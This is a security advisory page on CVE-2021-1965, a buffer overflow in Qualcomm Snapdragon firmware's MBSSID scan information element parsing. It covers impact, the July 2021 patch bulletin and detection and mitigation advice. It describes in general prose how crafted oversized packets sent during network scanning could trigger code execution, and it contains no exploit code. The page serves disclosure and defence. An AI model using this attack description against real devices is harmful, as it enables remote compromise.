CVE-2021-1965

CRITICAL POC Pub 13/07 Upd 03/08

Overview

This vulnerability is a buffer overflow caused by insufficient validation of parameter length during the parsing of the MBSSID scan information element (IE) within Qualcomm Snapdragon firmware components. Specifically, the flaw occurs in the code responsible for handling MBSSID scan IE parsing across multiple Snapdragon platforms, including Auto, Compute, Connectivity, Mobile, and Wired Infrastructure and Networking. The absence of proper boundary checks allows crafted input to overwrite memory buffers.

Vulnerability Description

Possible buffer overflow due to lack of parameter length check during MBSSID scan IE parse in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Mobile, Snapdragon Wired Infrastructure and Networking

Impact

An unauthenticated attacker with network access can exploit this vulnerability by sending a specially crafted MBSSID scan IE to the affected Snapdragon devices, causing a buffer overflow. This may enable arbitrary code execution with elevated privileges, complete compromise of device integrity, or denial of service. The attack requires no user interaction and leverages network-level access, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). The compromise of automotive, compute, mobile, or networking platforms could lead to significant operational disruption and data exposure.

Solution

Qualcomm addressed this vulnerability in their July 2021 product security bulletin available at https://www.qualcomm.com/company/product-security/bulletins/july-2021-bulletin. Users of Snapdragon Auto, Compute, Connectivity, Mobile, and Wired Infrastructure and Networking platforms should apply the firmware updates released therein. The advisory includes specific patch versions for affected firmware (e.g., aqt1000, ar9380, csr8811, ipq4018, ipq4019). Implementing these updates is the recommended remediation step to eliminate the buffer overflow flaw.

Full Analysis

The vulnerability in question arises from a buffer overflow issue linked to the parsing of Management Information Elements (IE) during MBSSID scans in various Qualcomm firmware products. This flaw is primarily due to inadequate checks on the length of parameters, which can lead to memory corruption. When the system processes excessively long input without proper validation, it can overwrite adjacent memory, potentially allowing an attacker to execute arbitrary code. This vulnerability affects a wide range of Qualcomm's hardware, including those used in automotive, computing, connectivity, and mobile devices, indicating a broad attack surface across multiple sectors.

Exploitation of this vulnerability can occur through several attack vectors, particularly in environments where the affected devices are exposed to untrusted networks. An attacker could craft malicious packets that exploit the buffer overflow during the scanning process. For instance, in a scenario where a device is scanning for available networks, an attacker could inject specially crafted packets that exceed the expected length, triggering the overflow. This could lead to remote code execution, allowing the attacker to gain unauthorized access to the device or execute malicious payloads. Furthermore, the widespread use of Qualcomm's technology in consumer electronics and infrastructure makes this vulnerability particularly concerning, as it could be leveraged in mass attacks against numerous devices simultaneously.

The real-world impact of this vulnerability is significant, posing considerable business risks for organizations relying on affected Qualcomm products. If exploited, the vulnerability could lead to unauthorized access to sensitive data, disruption of services, and potential damage to the organization's reputation. For instance, in automotive applications, an attacker could gain control over critical vehicle functions, leading to safety risks for passengers and pedestrians alike. Additionally, the financial implications of a data breach resulting from such an exploit could be substantial, including regulatory fines, loss of customer trust, and costs associated with remediation efforts.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions provided by Qualcomm is essential, as these updates often include patches for known vulnerabilities. Additionally, network security measures such as intrusion detection systems (IDS) can help identify and block malicious traffic attempting to exploit the vulnerability. Organizations should also consider employing application-layer firewalls that can inspect and filter packets based on their content, thereby preventing malformed packets from reaching vulnerable devices. Furthermore, conducting regular security assessments and penetration testing can help identify potential weaknesses in the network and device configurations, allowing for proactive remediation before an exploit occurs.

In conclusion, the buffer overflow vulnerability associated with Qualcomm's firmware represents a critical security concern that can lead to severe consequences if left unaddressed. The potential for exploitation through crafted network packets highlights the need for robust security practices and timely updates. By adopting comprehensive detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their assets from potential attacks.
